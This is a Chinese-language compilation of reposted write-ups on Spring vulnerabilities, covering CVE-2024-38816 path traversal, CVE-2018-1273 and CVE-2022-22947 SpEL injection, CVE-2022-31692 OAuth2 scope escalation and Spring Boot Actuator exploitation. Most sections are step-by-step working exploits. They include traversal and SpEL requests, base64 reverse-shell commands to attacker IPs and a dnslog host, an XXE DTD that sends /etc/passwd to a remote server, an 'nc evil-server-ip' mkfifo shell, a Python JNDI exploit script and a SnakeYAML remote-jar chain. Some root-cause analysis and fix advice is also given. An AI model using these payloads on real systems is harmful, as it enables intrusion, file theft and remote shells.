CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

本文转自 真爱和自由 并作补充

漏洞描述

https://spring.io/security/cve-2024-38816

通过功能性 Web 框架 WebMvc.fn 或 WebFlux.fn 提供静态资源的应用程序容易受到路径遍历攻击。攻击者可以编写恶意 HTTP 请求并获取文件系统上任何可由 Spring 应用程序正在运行的进程访问的文件。

具体来说,当以下两个条件都成立时,应用程序就容易受到攻击:

  • Web 应用程序用于RouterFunctions提供静态资源
  • 资源处理明确配置了FileSystemResource位置

但是,当以下任何一项满足时,恶意请求都会被阻止和拒绝:

受影响的 Spring 产品和版本

Spring 框架

  • 5.3.0 - 5.3.39
  • 6.0.0 - 6.0.23
  • 6.1.0 - 6.1.12
  • 较旧的、不受支持的版本也受到影响

基础知识

首先分析一个cve说实话我是不太了解spring框架的,这时候就需要疯狂拷打GPT了

WebMvc.fnWebFlux.fn

WebMvc

WebMvc 是 Spring Framework 提供的传统的 MVC(Model-View-Controller)架构,用于构建 web 应用程序。它使用的是 Servlet API,适合于构建基于线程的同步 web 应用。其基本组成包括:

  • Controller:处理 HTTP 请求的主要组件。
  • View:用于渲染响应的模板(如 JSP、Thymeleaf 等)。
  • Model:包含应用程序的核心数据。

WebFlux

WebFlux 是 Spring 5 中引入的模块,专门用于构建异步、非阻塞的 web 应用,适合于高并发和 I/O 密集型的场景。WebFlux 基于反应式编程模型,允许应用在处理请求时不阻塞线程,从而提高了性能。

RouterFunctions 和 FileSystemResource

RouterFunctions

RouterFunctions 是Spring WebFlux的一部分,它提供了一种函数式编程模型来定义请求路由和处理。使用 RouterFunctions,你可以创建一个路由,它将HTTP请求映射到处理这些请求的函数上。

FileSystemResource

FileSystemResource 是Spring框架中的一个类,它表示文件系统中的一个资源,通常用于读取和写入文件。它实现了 org.springframework.core.io.Resource 接口。

环境搭建

这里就用webflux来举例子

首先选择spring的版本,只需要在影响版本里面的就好了

1
2
3
4
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-webflux</artifactId>
</dependency>

然后因为要满足

当以下两个条件都成立时,应用程序就容易受到攻击:

  • Web 应用程序用于RouterFunctions提供静态资源
  • 资源处理明确配置了FileSystemResource位置

可以问问gpt啥的

image

创建一个漏洞代码

1
2
3
4
5
6
7
@Configuration
public class Config {
@Bean
public RouterFunction<ServerResponse> test() {
return RouterFunctions.resources("/static/**", new FileSystemResource("D:/phpstudy_pro/WWW/"));
}
}

漏洞复现

首先我们在D盘放一个文件,用于测试

在1.txt写入flag{scueess}

然后尝试访问路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /static/%5c/%5c/../../1.txt HTTP/1.1
Host: 127.0.0.1:8888
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

image

可以发现是成功了

漏洞分析

先查看官方的diff确定漏洞代码位置

https://github.com/spring-projects/spring-framework/commit/d86bf8b2056429edf5494456cffcb2b243331c49#diff-25869a3e3b3d4960cb59b02235d71d192fdc4e02ef81530dd6a660802d4f8707L151

是在PathResourceLookupFunction类,如何修复的先不关心,当然如果很明显就可以更快,我们把关键方法给打个断点慢慢看一看,然后慢慢分析调试一会就能知道个大概

因为是使用了RouterFunctions处理,会来到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Mono<Resource> apply(ServerRequest request) {
PathContainer pathContainer = request.requestPath().pathWithinApplication();
if (!this.pattern.matches(pathContainer)) {
return Mono.empty();
} else {
pathContainer = this.pattern.extractPathWithinPattern(pathContainer);
String path = this.processPath(pathContainer.value());
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();
} catch (IOException var5) {
throw new UncheckedIOException(var5);
}
} else {
return Mono.empty();
}
}
}

首先是从pathContainer.value()获取path,然后由processPath处理

image

processPath方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String processPath(String path) {
boolean slash = false;

for(int i = 0; i < path.length(); ++i) {
if (path.charAt(i) == '/') {
slash = true;
} else if (path.charAt(i) > ' ' && path.charAt(i) != 127) {
if (i == 0 || i == 1 && slash) {
return path;
}

path = slash ? "/" + path.substring(i) : path.substring(i);
return path;
}
}

return slash ? "/" : "";
}

简单来讲就是

去除路径开头的无效字符:忽略空格、控制字符等无效字符,找到第一个有效字符。

保留根路径:如果路径开头有斜杠 /,则确保处理后的路径以 / 开头。

快速返回有效路径:如果路径是根路径或有效路径已经以 / 开头,直接返回,不做额外处理。

输入: " /home/user"
输出: "/home/user"

  • 去除了路径开头的空格,保留以 / 开头的有效路径。

输入: " user/docs"
输出: "user/docs"

  • 去除了路径开头的空格,保留从第一个有效字符 u 开始的路径。

输入: "////"
输出: "/"

  • 只有斜杠的情况,返回根路径 /

输入: " "
输出: ""

这个处理对我们的../这种没有影响的

然后回到apply

1
2
3
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

如果包含%,就是url编码的标志,然后会继续url解码

最终确定路径的点是在

1
2
3
4
if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();

关键在于this.isInvalidPath(path)判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

return path.contains("..") && StringUtils.cleanPath(path).contains("../");
} else {
return true;
}
}

我们需要的是返回false,看来能够返回的只有一个地方了return path.contains(“..”) && StringUtils.cleanPath(path).contains(“../“);,首先我们可以有..这种字符的存在,因为是&符号连接的,所以终极目的就是StringUtils.cleanPath(path).contains(“../“)返回false

cleanPath方法很长,一步一步分析

这个代码是为了处理windows和linux的差异的,会windows中的\\或者\转为linux中的/

1
2
3
4
5
6
7
String normalizedPath;
if (path.indexOf(92) != -1) {
normalizedPath = replace(path, "\\\\", "/");
normalizedPath = replace(normalizedPath, "\\", "/");
} else {
normalizedPath = path;
}

然后就是处理前缀了,如果路径没有.直接返回,如果又会处理,还是为了处理windows的场景

58 对应的是冒号 :,用于检测是否有像 C: 这样的路径前缀。如果存在前缀(如 Windows 路径中的盘符),将其提取出来。

如果前缀中包含 /,则认为它不是有效的前缀(可能是 URL 的一部分),清除它;否则将前缀保留并将路径的主体部分截取出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (normalizedPath.indexOf(46) == -1) {
return normalizedPath;
} else {
int prefixIndex = normalizedPath.indexOf(58);
String prefix = "";
if (prefixIndex != -1) {
prefix = normalizedPath.substring(0, prefixIndex + 1);
if (prefix.contains("/")) {
prefix = "";
} else {
pathToUse = normalizedPath.substring(prefixIndex + 1);
}
}

然后根据 / 拆分路径,将其转换为一个数组 pathArray

1
2
3
String[] pathArray = delimitedListToStringArray(pathToUse, "/");
Deque<String> pathElements = new ArrayDeque(pathArray.length);
int tops = 0;

image

如果包含.则不会走到pathElements.addFirst(element);相当于去除,中间对于tops的处理就是相当于在处理..的路径穿越字符了

1
2
3
4
5
6
7
8
9
10
11
12
for(i = pathArray.length - 1; i >= 0; --i) {
String element = pathArray[i];
if (!".".equals(element)) {
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
} else {
pathElements.addFirst(element);
}
}
}

结合

1
2
3
4
5
6
7
8
9
10
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
}

......
for(i = 0; i < tops; ++i) {
pathElements.addFirst("..");
}

处理前和处理后的代码

image

应该能读懂这个逻辑吧

然后最后就是拼接了

1
2
String joined = collectionToDelimitedString(pathElements, "/");
return prefix.isEmpty() ? joined : prefix + joined;

image

如果我们想要返回的路径不包含../就得从其中一步找点破绽,其实就是连猜带蒙多去尝试各种各样的路径

其实考虑一下,它是类似于这种就会实现有../但是返回的时候不包含../

比如

a/b/../c

经过处理后,路径将被简化为 a/b/d,因为 c/.. 相当于取消了 c 目录的影响

这里我们希望b能够占个位置,但是又不会当作目录的一个字符

代码逻辑是以/作为分割

空字符也算做一个元素,按理来说构造这样一个字符就ok了

1
/static/////../../1.txt

自己写一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example.demo;

import org.springframework.util.ResourceUtils;
import org.springframework.util.StringUtils;

public class test {
public static void main(String[] args) {
String path = "/static/////../../1.txt";
System.out.println(isInvalidPath(path));

}

public static boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

return path.contains("..") && StringUtils.cleanPath(path).contains("../");
} else {
return true;
}
}
}

image

可以看到确实是可以的,但是实际中不行,是因为最开始分析的processPath对我们的路径最了标准化处理

然后思路就回到如何绕过这个标准化,就是不能出现////这种连起来的,再结合刚刚对windows的处理\

那我们可以构造这样一个路径

1
/static/%5c/%5c/../../1.txt

首先processPath处理后原样输出,而标准化处理后就变为

image

然后就可以了

image

参考

https://avd.aliyun.com/detail?id=AVD-2024-38816

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell

本文转自樱浅沐冰 并作补充

影响版本

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)

复现过程

vulhub
详细过程请看Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

一、验证

这里使用dnslog来验证。
先获取一个dns地址
t15gcx.dnslog.cn
image

拼接命令
curl whoami.t15gcx.dnslog.cn

base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
image

bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}

Exp

替换对应的payload,重新发送数据包
成功反弹回显到dnslog上
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

image

二、反弹shell

反弹shell
bash -i >& /dev/tcp/192.168.100.23/9090 0>&1

base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4yMy85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}
监听9090端口
image

替换掉curlwhoami.t15gcx.dnslog.cn对应的payload,重新发送数据包
成功反弹shell
image

参考文章

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
Vulhub CVE-2018-1273

Spring Cloud Gateway rce(CVE-2022-22947)

Spring Cloud Gateway rce(CVE-2022-22947)

本文转自6right 并作补充

漏洞描述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
也是codeql发现的

漏洞影响

3.1.0
3.0.0至3.0.6
3.0.0之前的版本

复现漏洞

首先,发送以下请求以添加包含恶意SpEL 表达式的路由器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

反弹shell将命令替换为base64命令即可
Content-Type: application/json

image

其次,刷新网关路由器。SpEL 表达式将在此步骤中执行:

1
2
3
4
5
6
7
8
9
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

第三,发送以下请求以检索结果:

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

查看所有路由

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes HTTP/1.1
Host: 123.58.236.76:40279
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

最后,发送一个 DELETE 请求来删除我们的恶意路由器:

1
2
3
4
5
6
7
8
9
10
DELETE /actuator/gateway/routes/lyy9 HTTP/1.1
Host: 123.58.236.76:40279
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0
Content-Type: application/json

image
删除后用记得也用refresh

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,反弹shellbase64}|{base64,-d}|{bash,-i}\").getInputStream()))}"
}
}],
"uri": "http://example.com"
}

删去new String[]初始化,直接将base64的反弹shell命令放入填入
生成base64那个站点崩了,可以自己写个python

1
2
3
4
5
6
import base64


base64_str = input("请输入反弹shell命令,如:bash -i >& /dev/tcp/11.11.11.11/2334 0>&1\n")
res = base64.b64encode(base64_str.encode())
print("bash -c {echo,"+res.decode()+"}|{base64,-d}|{bash,-i}")

漏洞原理

SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行
如果想要深入学习SpEL表达式可以参考Mi1k7ea师傅的文章

首先定位到漏洞的修复版本对比
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
image
可以看到删除了默认的StandardEvaluationContext,改用自定义的GatewayEvaluationContext来对表达式进行SpEL进行处理

默认的StandardEvaluationContext里getValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
Object value;
String rawValue = entryValue;
if (rawValue != null) {
rawValue = rawValue.trim();
}
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
// assume it's spel
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new BeanFactoryResolver(beanFactory));
Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
value = expression.getValue(context);
}
else {
value = entryValue;
}
return value;
}

可以控制 getValue 方法调用,那么就能调用任何有效的表达式达到注入效果

修复建议

3.1.x用户应升级到3.1.1+
3.0.x用户应升级到3.0.7+
如果不需要Actuator端点,可以通过management.endpoint.gateway.enable:false配置将其禁用
如果需要Actuator端点,则应使用Spring Security对其进行保护

CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

本文转自棱镜七彩 并作补充

项目介绍

Spring Security是一个能够为基于Spring的企业应用系统提供声明式的安全访问控制解决方案的安全框架。它提供了一组可以在Spring应用上下文中配置的Bean,充分利用了Spring IoC,DI(控制反转Inversion of Control ,DI:Dependency Injection 依赖注入)和AOP(面向切面编程)功能,为应用系统提供声明式的安全访问控制功能,减少了为企业系统安全控制编写大量重复代码的工作。

项目地址

https://spring.io/projects/spring-security

漏洞概述

Spring Security 的受影响版本中存在权限提升漏洞,攻击者可以修改客户端通过浏览器向授权服务器发出的请求,如果授权服务器在后续使用包含空作用域列表的 ’OAuth2 Access Token Response‘ 响应来获取访问token,攻击者可以获得权限提升,以特权身份执行恶意代码。

影响版本

org.springframework.security:spring-security-oauth2-client@[5.6, 5.6.9)
org.springframework.security:spring-security-oauth2-client@[5.7, 5.7.5)

环境搭建

  1. 下载并使用spring官方提供的样例进行测试
  2. 分别启动login和authorization-server,官方提供的authorization-server默认账号密码是user、password

漏洞分析

该漏洞是一个Spring Security Oauth2的逻辑漏洞,要想明白该漏洞,我们必须先了解下什么是Oauth2。
简单说,OAuth2 就是一种授权机制。数据的所有者告诉系统,同意授权第三方应用进入系统,获取这些数据。系统从而产生一个短期的进入令牌(token),用来代替密码,供第三方应用使用。
OAuth 2.0 规定了四种获得令牌的流程:
授权码(authorization-code)
隐藏式(implicit)
密码式(password)
客户端凭证(client credentials)
授权码模式最常用,该模式的整个授权过程的时序图如下:

image

CVE-2022-31692漏洞产生的原因在于最后返回token时分配的scope不当,在spring security 中,应用向授权服务器请求token的代码如下:

image

上述标注的代码会判断AccessTokenResponse.scope是否为空,如果条件成立,则会使用当前client配置的scope。而scope代表的是令牌有权限范围。也就是说当授权服务器返回的scope为空,则客户端权限提升至最大。因此存在权限提升漏洞。
官方修复commit如下,分析代码可知spring security实现了三种认证模式并全部修复了漏洞。

image

三种模式的修复代码都是类似的,选其中一个分析,从修复代码可知修复后直接使用授权服务器返回的内容。

image

修复方式

升级到最新版

参考链接

OAuth2.0究竟是个啥?看完这13张图你就明白了! - 腾讯云开发者社区-腾讯云
CVE-2022-31690: Privilege Escalation in spring-security-oauth2-client
Spring-Security Commit:Fix scope mapping
OAuth 2.0 的一个简单解释
[iThome鐵人賽 2022] Day31 (CVE-2022-31692) Spring Security 又(?)有漏洞惹~~ 使用個 forward 功能臭了嗎?! - YouTube

Spring Boot Actuator 漏洞利用

Spring Boot Actuator 漏洞利用

本文转自诺言 并作补充

前言

Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。

漏洞发现

通常通过两个位置判断网站是否使用了Spring Boot框架。
1、网站图片文件是一个绿色的树叶。
2、特有的报错信息。
image

影响版本

Spring Boot < 1.5 默认未授权访问所有端点
Spring Boot >= 1.5 默认只允许访问/health和/info端点,但是此安全性通常被应用程序开发人员禁用

端点描述

官方文档对每个端点的功能进行了描述。

1
2
3
4
5
6
7
8
9
10
11
12
路径            描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

Spring Boot 1.x版本端点在根URL下注册。
image

Spring Boot 2.x版本端点移动到/actuator/路径。
image

本文中端点的位置都是基于网站根目录下,实战中遇到的情况是,端点可能存放在多级目录下,需要自行进行寻找。
访问/trace端点获取到近期服务器收到的请求信息。
如果存在登录用户的操作请求,可以伪造cookie进行登录。
image

访问/env端点获取环境属性。
数据库账户泄漏
image

Jolokia端点利用

大多数Actuator仅支持GET请求并仅显示敏感的配置数据,如果使用了不当的Jolokia端点,可能会产生XXE、甚至是RCE安全问题。

reloadByURL方法

查看/jolokia/list 中存在的 Mbeans,是否存在logback 库提供的reloadByURL方法。
image

xxe漏洞实现

reloadByURL方法,允许远程加载logback.xml 配置文件,并且解析 xml 文件未做任何过滤措施,导致了xxe漏洞。
1、创建logback.xml和fileread.dtd文件

1
2
3
4
5
logback.xml,地址为公网vpsweb服务地址。

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd">%remote;%int;]>
<a>&trick;</a>
1
2
3
4
fileread.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

2、把创建的logback.xml和fileread.dtd文件上传到公网vps的web目录下。
image

3、远程访问logback.xml文件。

1
www.xxx.com/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml

成功利用xxe读取到etc/passwd文件内容。
image

远程代码执行实现

可以在logback.xml中使用insertFromJNDI标签,这个标签允许我们从 JNDI 加载变量,导致了rce漏洞产生。
rce的流程主要分为4步。详细过程
1、构造 Get 请求访问目标,使其去外部服务器加载恶意 logback.xml 文件。
2、解析 logback.xml 时,最终会触发 InitialContext.lookup(URI) 操作,而URI 为恶意 RMI 服务地址。
3、恶意 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定了目标本地存在的 BeanFactory 类,以及Bean Class 的类名、属性、属性值(这里为 ELProcessor 、x、eval(…))。
4、目标在进行 lookup() 操作时,会动态加载并实例化 BeanFactory 类,接着调用 factory.getObjectInstance() 方法,通过反射的方式实例化 Reference 所指向的任意 Bean Class,并且会调用 setter 方法为所有的属性赋值。对应我们的代码,最终调用 setter 方法的时候,就是执行如下代码:

1
ELProcessor.eval(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc evil-server-ip port >/tmp/f']).start()\"

而 ELProcessor.eval() 会对 EL 表达式(这里为反弹 shell)进行求值,最终达到 RCE 的效果。

下载rce利用代码
修改Spring-Boot-Actuator-Exploit\maliciousRMIServer\src\main\java\hello\EvilRMIServer.java的代码。
可以修改RMI远程监听的端口,和反弹shell的地址和端口。
image
使用maven对java代码进行编译打包。
进入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目录,执行mvn clean install
打包成功后创建target目录下生成RMIServer-0.1.0.jar文件。
image

image

1
2
3
4
5
修改logback.xml文件内容。

<configuration>
<insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
</configuration>

把RMIServer-0.1.0.jar文件上传到公网vps上。
执行RMIServer-0.1.0.jar文件,开启攻击机上的RMI监听时需要通过’Djava.rmi.server.hostname=x.x.x.x’指定自己的RMI监听的外网地址。
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
image

vps使用nc监听反弹shell指定的端口。
nc -lvp 9998
在漏洞url访问:
http://x.x.x.x/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!114.x.x.x!/logback.xml
image
成功反弹shell。
image

createJNDIRealm方法

相关原理请查看Attack Spring Boot Actuator via jolokia Part 2
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法,可能存在JNDI注入,导致远程代码执行。
image

利用过程分为五步。
1、创建 JNDIRealm
2、写入 contextFactory 为 RegistryContextFactory
3、写入 connectionURL 为你的 RMI Service URL
4、停止 Realm
5、启动 Realm 以触发 JNDI 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
可以使用burp一步步重放,也可以直接使用python脚本执行。
import requests as req
import sys
from pprint import pprint

url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://x.x.x.x:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
#运行Realm,触发JNDI 注入
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())

使用之前打包好的jar包-RMIServer-0.1.0.jar,运行RMI服务
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
image

使用nc监听反弹的端口nc -lvp 9998
image

使用python发送请求python exp.py http://x.x.x.x:8087
image

成功反弹shell。
image

spring Cloud env

当spring boot使用Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE
漏洞原理参考https://www.anquanke.com/post/id/195929

利用范围

Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
Spring Boot <= 1.4 可利用成功

利用过程

大致原理分为2步。
1、利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://x.x.x.x/yaml-payload.yml
2、请求 /refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行。
下载使用Michael Stepankin大牛提供的exp
更改执行的命令。
image

1
2
3
4
将java文件进行编译

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

把生成的jar文件挂载到公网http服务器。
修改 spring.cloud.bootstrap.location为外部 yml 配置文件地址。

1
2
3
4
5
6
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml

image

请求 /refresh 接口触发

1
2
3
4
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

命令执行成功。
image

参考文章

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
http://radiosong.cn/index.php/2019/04/03/1.html
https://xz.aliyun.com/t/4258
http://r3start.net/index.php/2019/01/20/377
https://github.com/mpgn/Spring-Boot-Actuator-Exploit
https://www.secshi.com/21506.html
